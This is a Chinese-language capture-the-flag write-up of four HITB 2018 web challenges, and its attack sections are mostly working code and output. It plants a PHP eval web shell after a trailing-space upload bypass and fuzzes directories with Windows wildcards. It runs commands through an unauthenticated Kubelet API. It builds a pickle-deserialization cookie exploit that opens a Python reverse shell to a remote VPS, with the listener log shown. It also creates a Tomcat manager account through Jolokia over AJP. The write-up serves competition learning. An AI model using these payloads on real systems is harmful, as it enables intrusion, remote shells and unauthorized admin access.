upload
访问题目1
http://47.90.97.18:9999/
看到2个功能1
2upload.php
pic.php
查看pic.php1
http://47.90.97.18:9999/pic.php?filename=default.jpg
得到回显1
2width=497
height=477
发现可以解析图片,这里尝试了一会儿文件包含
发现回显基本都是1
image error
后来抓包的时候看到1
2
3
4
5
6
7HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/7.0
X-Powered-By: PHP/5.6.35
Date: Fri, 13 Apr 2018 13:30:00 GMT
Connection: close
Content-Length: 18
发现对方是1
windows iis7.0
想到一些上传技巧
尝试上传1.php
(注意,php后有一个空格)
发现成功可以上传php文件,并且由于windows文件名的问题,最后的空格会被去掉,所以1.php(空格)
会变成1.php
但是新的问题来了,我们没有上传文件夹路径
后来百度windows 目录爆破的时候发现百度第一条文章1
http://www.moonsec.com/post-304.html
其中写道到1
2
3
4
5
6已知1.php存在,以上脚本访问的结果是:
1.php
1.phP
1.ph<
1.ph>
都能得到返回。
发现1
2<
>
可以进行通配
根据这一点继续搜索,发现文章1
http://www.freebuf.com/column/164698.html
其中提及dedecms的后台目录爆破方式1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40...
function my_func($url, $path = '') {
$ch = curl_init($url);
$i = 48;
global $version;
while($i <= 90) {
if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {
if($version != '5.7') {
/* v5.6版本及其以下 */
$admin_path = './' . $path . chr($i) . '</img/admin_top_logo.gif';
}
else {
/* v5.7版本 */
$admin_path = './' . $path . chr($i) . '</images/admin_top_logo.gif';
}
$data = 'dopost=save&_FILES[b4dboy][tmp_name]=' . $admin_path . '&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif';
$options = array(
CURLOPT_USERAGENT => 'Firefox/58.0',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $data,
);
curl_setopt_array($ch, $options);
$response = curl_exec($ch);
if(!preg_match('/(Upload filetype not allow !)/i', $response)) {
$path = $path . chr($i);
return $path;
}
}
$i++;
}
...
受到通配爆破的启发,我尝试1
http://47.90.97.18:9999/pic.php?filename=../a</default.jpg
发现通配成功1
2width=497
height=477
得到回显
于是写脚本进行fuzz1
2
3
4
5
6
7
8
9
10
11
12# coding=UTF-8
import requests
url = "http://47.90.97.18:9999/pic.php?filename=../"
flag = ""
for i in range(1,100):
for j in '0123456789abcdefghijklmnopqrstuvwxyz':
url1 = url+flag+j+'</default.jpg'
r = requests.get(url=url1)
if "height" in r.content:
flag +=j
print url1
break
运行后得到目录1
87194f13726af7cee27ba2cfe97b60df
后上传一句话木马1
2
3
@eval($_POST['sky']);
然后菜刀连接1
http://47.90.97.18:9999/87194f13726af7cee27ba2cfe97b60df/1523496144.php
成功拿到flag1
2
3
4
echo "flag is here";
//HITB{e5f476c1e4c6dc66278db95f0b5a228a}
故此拿到flag1
HITB{e5f476c1e4c6dc66278db95f0b5a228a}
Baby baby
这题侥幸拿了3血XD
拿到题目后,提示是1
This is a pentest challenge, open your mind!
扫了一下端口发现1
2
380
9999
10250
3个端口开放
然后在9999端口拿到源码1
2
3
4
5
6This is a pentest challenge, open your mind!
<img style="width: 300px;" src="jd.png" alt="the picture is unrelated to this challenge, just a advertisement" />
eval($__POST["backdoor"]);
发现是在逗我没错了,根本无法使用
后来入手10250端口
发现RR巨佬的文章1
https://ricterz.me/posts/Security%20Issues%20of%20Kubelet%20HTTP%28s%29%20Server
发现突破点:
Kubelet 在 10250 端口上提供了一个 HTTPS 的 API,通过这个 API 可以控制
在 Kubelet 的老版本(1.5 之前)不支持认证和授权,这就导致攻击者可以通过访问 10250 端口的 API 来获取容器权限。
而我们可以通过/runningpods
获取正在运行的Pod
列表:
于是我尝试指令1
http --verify=no https://47.75.146.42:10250/runningpods/
得到回显1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130HTTP/1.1 200 OK
Content-Type: application/json
Date: Thu, 12 Apr 2018 07:00:22 GMT
Transfer-Encoding: chunked
{
"apiVersion": "v1",
"items": [
{
"metadata": {
"creationTimestamp": null,
"name": "kubernetes-dashboard-688193819-svbx3",
"namespace": "kube-system",
"uid": "958e5dcc-3c7e-11e8-b3d6-00163e0245e7"
},
"spec": {
"containers": [
{
"image": "127.0.0.1:5000/google_containers/kubernetes-dashboard-amd64@sha256:1344175a7b6502e012102c05201d16e572c4daf803f92d2d2c07b0ac8ffb9110",
"name": "kubernetes-dashboard",
"resources": {}
}
]
},
"status": {}
},
{
"metadata": {
"creationTimestamp": null,
"name": "web-test-4092782360-035qx",
"namespace": "esn-system",
"uid": "a8f7e307-3e14-11e8-838a-00163e0245e7"
},
"spec": {
"containers": [
{
"image": "127.0.0.1:5000/esn-containers/web_test@sha256:ae129fcd94bd2978db37050f95c62311f5bf9fdbba25817e6e8a098db3a168cf",
"name": "web-test",
"resources": {}
}
]
},
"status": {}
},
{
"metadata": {
"creationTimestamp": null,
"name": "kube-dns-3757701935-jht7p",
"namespace": "kube-system",
"uid": "97583356-3c7e-11e8-b3d6-00163e0245e7"
},
"spec": {
"containers": [
{
"image": "127.0.0.1:5000/google_containers/k8s-dns-sidecar-amd64@sha256:1d3b5c493e3c8ff05262192dce1807e19375406d7a159b1c5c463144ad1c47d5",
"name": "sidecar",
"resources": {}
},
{
"image": "127.0.0.1:5000/google_containers/k8s-dns-dnsmasq-nanny-amd64@sha256:13f5523c0c2422447167a5aa08a16c07e3c78db113373da312e67a78eb04c981",
"name": "dnsmasq",
"resources": {}
},
{
"image": "127.0.0.1:5000/google_containers/k8s-dns-kube-dns-amd64@sha256:bcfbfd0cf6c20b17d6797c1901d17653802b1b2f31d5901698e629f23b9b60e6",
"name": "kubedns",
"resources": {}
}
]
},
"status": {}
},
{
"metadata": {
"creationTimestamp": null,
"name": "monitoring-grafana-3238376892-r3r57",
"namespace": "kube-system",
"uid": "96f720d7-3c7e-11e8-b3d6-00163e0245e7"
},
"spec": {
"containers": [
{
"image": "127.0.0.1:5000/google_containers/heapster-grafana-amd64@sha256:0b077080cff3bb20a6e89bdd3b2f05f36479ee1edf7e91732d0578ea57753b33",
"name": "grafana",
"resources": {}
}
]
},
"status": {}
},
{
"metadata": {
"creationTimestamp": null,
"name": "heapster-3876467971-j942t",
"namespace": "kube-system",
"uid": "972fc55d-3c7e-11e8-b3d6-00163e0245e7"
},
"spec": {
"containers": [
{
"image": "127.0.0.1:5000/google_containers/heapster-amd64@sha256:fb618adfed191f97b303603df043f75a42f4c1d6a4d625a0ee0cda81890c9fd0",
"name": "heapster",
"resources": {}
}
]
},
"status": {}
},
{
"metadata": {
"creationTimestamp": null,
"name": "monitoring-influxdb-4196588620-k597p",
"namespace": "kube-system",
"uid": "977f4ae8-3c7e-11e8-b3d6-00163e0245e7"
},
"spec": {
"containers": [
{
"image": "127.0.0.1:5000/google_containers/heapster-influxdb-amd64@sha256:961319e26e359294ac86294d8029d1c78e697d617ca0d645d3b227a8bd9a7817",
"name": "influxdb",
"resources": {}
}
]
},
"status": {}
}
],
"kind": "PodList",
"metadata": {}
}
不难看到关键点1
2
3
4
5
6
7
8
9
10
11
12"metadata": {
"creationTimestamp": null,
"name": "web-test-4092782360-035qx",
"namespace": "esn-system",
"uid": "a8f7e307-3e14-11e8-838a-00163e0245e7"
},
"spec": {
"containers": [
{
"image": "127.0.0.1:5000/esn-containers/web_test@sha256:ae129fcd94bd2978db37050f95c62311f5bf9fdbba25817e6e8a098db3a168cf",
"name": "web-test",
"resources": {}
这里可以看到几个关键点1
2
3pod_name:web-test-4092782360-035qx
namespace:esn-system
container_name:web-test
故此可以使用指令1
http --form --verify=no POST https://目标ip:port/run/namespace/pod_name/container_name cmd='ls /'
即1
http --form --verify=no POST https://47.75.146.42:10250/run/esn-system/web-test-4092782360-035qx/web-test cmd='ls /'
进行命令执行
回显1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25HTTP/1.1 200 OK
Content-Length: 101
Content-Type: application/json
Date: Thu, 12 Apr 2018 07:01:06 GMT
bin
core
dev
etc
flag.txt
home
lib
linuxrc
media
mnt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
发现成功读取根目录信息
我们直接cat flag
即1
http --form --verify=no POST https://47.75.146.42:10250/run/esn-system/web-test-4092782360-035qx/web-test cmd='cat /flag.txt'
得到回显1
2
3
4
5
6
7
8
9
10
11
12HTTP/1.1 200 OK
Content-Length: 176
Content-Type: application/json
Date: Thu, 12 Apr 2018 07:00:53 GMT
HITB{KKKKKKKKKKKKKKKKKKKKKKKKK}
DO NOT MODIFY ANYTHING.
WE WILL BAN YOUR TEAM IF YOU CHANG FLAG, DELETE FILES, ETC.
如果你修改、删除文件,我们会 ban 掉你 :D
故此拿到flag:1
HITB{KKKKKKKKKKKKKKKKKKKKKKKKK}
Python’s revenge
题目直接给出了源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147from __future__ import unicode_literals
from flask import Flask, request, make_response, redirect, url_for, session
from flask import render_template, flash, redirect, url_for, request
from werkzeug.security import safe_str_cmp
from base64 import b64decode as b64d
from base64 import b64encode as b64e
from hashlib import sha256
from cStringIO import StringIO
import random
import string
import os
import sys
import subprocess
import commands
import pickle
import cPickle
import marshal
import os.path
import filecmp
import glob
import linecache
import shutil
import dircache
import io
import timeit
import popen2
import code
import codeop
import pty
import posixfile
SECRET_KEY = 'you will never guess'
if not os.path.exists('.secret'):
with open(".secret", "w") as f:
secret = ''.join(random.choice(string.ascii_letters + string.digits)
for x in range(4))
f.write(secret)
with open(".secret", "r") as f:
cookie_secret = f.read().strip()
app = Flask(__name__)
app.config.from_object(__name__)
black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]
def count():
session['cnt'] = 0
def home():
remembered_str = 'Hello, here\'s what we remember for you. And you can change, delete or extend it.'
new_str = 'Hello fellow zombie, have you found a tasty brain and want to remember where? Go right here and enter it:'
location = getlocation()
if location == False:
return redirect(url_for("clear"))
return render_template('index.html', txt=remembered_str, location=location)
def clear():
flash("Reminder cleared!")
response = redirect(url_for('home'))
response.set_cookie('location', max_age=0)
return response
def reminder():
if request.method == 'POST':
location = request.form["reminder"]
if location == '':
flash("Message cleared, tell us when you have found more brains.")
else:
flash("We will remember where you find your brains.")
location = b64e(pickle.dumps(location))
cookie = make_cookie(location, cookie_secret)
response = redirect(url_for('home'))
response.set_cookie('location', cookie)
return response
location = getlocation()
if location == False:
return redirect(url_for("clear"))
return render_template('reminder.html')
class FilterException(Exception):
def __init__(self, value):
super(FilterException, self).__init__(
'The callable object {value} is not allowed'.format(value=str(value)))
class TimesException(Exception):
def __init__(self):
super(TimesException, self).__init__(
'Call func too many times!')
def _hook_call(func):
def wrapper(*args, **kwargs):
session['cnt'] += 1
print session['cnt']
print args[0].stack
for i in args[0].stack:
if i in black_type_list:
raise FilterException(args[0].stack[-2])
if session['cnt'] > 4:
raise TimesException()
return func(*args, **kwargs)
return wrapper
def loads(strs):
reload(pickle)
files = StringIO(strs)
unpkler = pickle.Unpickler(files)
unpkler.dispatch[pickle.REDUCE] = _hook_call(
unpkler.dispatch[pickle.REDUCE])
return unpkler.load()
def getlocation():
cookie = request.cookies.get('location')
if not cookie:
return ''
(digest, location) = cookie.split("!")
if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
flash("Hey! This is not a valid cookie! Leave me alone.")
return False
location = loads(b64d(location))
return location
def make_cookie(location, secret):
return "%s!%s" % (calc_digest(location, secret), location)
def calc_digest(location, secret):
return sha256("%s%s" % (location, secret)).hexdigest()
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5051)
发现与强网杯的类似
参考链接1
http://skysec.top/2018/04/01/Python-is-the-best-language/
注意到getlocation()函数中反序列化操作1
location = loads(b64d(location))
跟location的由来1
2
3
4
5
6
7
8
9location = request.form["reminder"]
if location == '':
flash("Message cleared, tell us when you have found more brains.")
else:
flash("We will remember where you find your brains.")
location = b64e(pickle.dumps(location))
cookie = make_cookie(location, cookie_secret)
response = redirect(url_for('home'))
response.set_cookie('location', cookie)
然后生成的cookie1
2
3
4
5
6
7
8
9def getlocation():
cookie = request.cookies.get('location')
if not cookie:
return ''
(digest, location) = cookie.split("!")
if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
flash("Hey! This is not a valid cookie! Leave me alone.")
return False
location = loads(b64d(location))
最后发现只要能控制cookie即可随意更改反序列化的值
但是问题来了,没有1
cookie_secret
跟一下发现1
2
3
4
5
6
7if not os.path.exists('.secret'):
with open(".secret", "w") as f:
secret = ''.join(random.choice(string.ascii_letters + string.digits)
for x in range(4))
f.write(secret)
with open(".secret", "r") as f:
cookie_secret = f.read().strip()
cookie_secret只有4位的长度,很快就能爆破出来
我们写脚本1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24from hashlib import sha256
import pickle
import cPickle
from base64 import b64decode as b64d
from base64 import b64encode as b64e
import random
import string
def make_cookie(location, secret):
return "%s!%s" % (calc_digest(location, secret), location)
def calc_digest(location, secret):
return sha256("%s%s" % (location, secret)).hexdigest()
for x1 in string.ascii_letters + string.digits:
for x2 in string.ascii_letters + string.digits:
for x3 in string.ascii_letters + string.digits:
for x4 in string.ascii_letters + string.digits:
cookie_secret = x1+x2+x3+x4
location = "VjExMQpwMAou"
cookie = make_cookie(location, cookie_secret)
#print cookie
if cookie == "73ec41cd2804d3ad0a606c66d02d9d2234ba4ff0c4dc02f69555157beab99d9f!VjExMQpwMAou":
print cookie_secret
break
运行得到cookie_secret1
hitb
然后就是构造类,bypass沙盒黑名单了
注意到黑名单未过滤1
platform.popen
于是构造类1
2
3
4
5
6class Exploit(object):
def __reduce__(self):
return (platform.popen,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",))
def serialize_exploit():
shellcode = pickle.dumps(Exploit())
return shellcode
最后脚本1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22import pickle
import platform
from base64 import b64encode as b64e
import string
from hashlib import sha256
def make_cookie(location, secret):
return "%s!%s" % (calc_digest(location, secret), location)
def calc_digest(location, secret):
return sha256("%s%s" % (location, secret)).hexdigest()
class Exploit(object):
def __reduce__(self):
return (platform.popen,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"你的vps\",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",))
def serialize_exploit():
shellcode = pickle.dumps(Exploit())
return shellcode
location = b64e(serialize_exploit())
cookie_secret = "hitb"
cookie = make_cookie(location, cookie_secret)
print cookie
运行得到1
6c9bb5a6c403532334724160875f921baef27b8e8be27d0a3db3d49dd84d8ee4!Y3BsYXRmb3JtCnBvcGVuCnAwCihTJ3B5dGhvbiAtYyBcJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcztzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKCIxMjcuMC4wLjEiLDIzMzMzKSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKTtcJycKcDEKdHAyClJwMwou
接着在你的vps上打开端口监听1
nc -l -vv -p 23333
然后更改cookie中的location为此值,刷新页面得到1
<open file 'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("138.68.225.135",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'', mode 'r' at 0x7fdb5f9e1c00>
查看vps端口监听1
2
3
4Listening on [0.0.0.0] (family 0, port 23333)
Connection from [47.75.151.118] port 23333 [tcp/*] accepted (family 2, sport 52880)
/bin/sh: 0: can't access tty; job control turned off
$
发现收到shell
执行命令1
2
3
4
5
6
7$ ls
app.py
app.pyc
run.py
run.pyc
static
templates
发现成功
于是探寻flag1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25$ cd ..
$ ls
bin
boot
dev
easy_sandbox
etc
flag_is_here
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag_is_here
HITB{Py5h0n1st8eBe3tNOW}
最后成功拿到flag1
HITB{Py5h0n1st8eBe3tNOW}
Baby Nya
看到提示1
the tomcat deployed jolokia.war
扫描端口,看见1
8009
端口开放
根据文章1
https://ionize.com.au/exploiting-apache-tomcat-port-8009-using-apache-jserv-protocol/
进行如下操作1
2Step 1: Install the Dependencies
The first line installs the mod-jk package which allows Apache to forward requests to Tomcat using the AJP protocol. It can communication to Tomcat on the local machine or to a remote instance. The second line enables the proxy_ajp module and required dependencies automatically.
指令1
2apt install libapache2-mod-jk
a2enmod proxy_ajp
然后1
2Step 2: Configure Apache
Next create a configuration file in /etc/apache2/sites-enabled/ which will hold our proxy setup, I’ve named mine ajp.conf.
文件内容1
2
3
4
5
6
7
8
9
10ProxyRequests Off
# Only allow localhost to proxy requests
<Proxy *>
Order deny,allow
Deny from all
Allow from localhost
</Proxy>
# Change the IP address in the below lines to the remote servers IP address hosting the Tomcat instance
ProxyPass / ajp://192.168.109.134:8009/
ProxyPassReverse / ajp://192.168.109.134:8009/
然后重启apache2,接着指令1
systemctl start apache2
即可在本地访问到题目的8009端口
后来看到这样一篇文章1
https://ricterz.me/posts/Exploiting%20Jolokia%20Agent%20with%20Java%20EE%20Servers
发现可以添加管理员用户1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21// 创建 manager-gui
{
"type": "EXEC",
"mbean": "Users:database=UserDatabase,type=UserDatabase",
"operation": "createRole",
"arguments": ["manager-gui", ""]
}
// 创建用户
{
"type": "EXEC",
"mbean": "Users:database=UserDatabase,type=UserDatabase",
"operation": "createUser",
"arguments": ["test233", "test233", ""]
}
// 增加角色
{
"type": "EXEC",
"mbean": "Users:database=UserDatabase,type=User,username=\"test233\"",
"operation": "addRole",
"arguments": ["manager-gui"]
}
接着利用 test233 / test233 登陆即可
最后直接在1
/manager/html
看到flag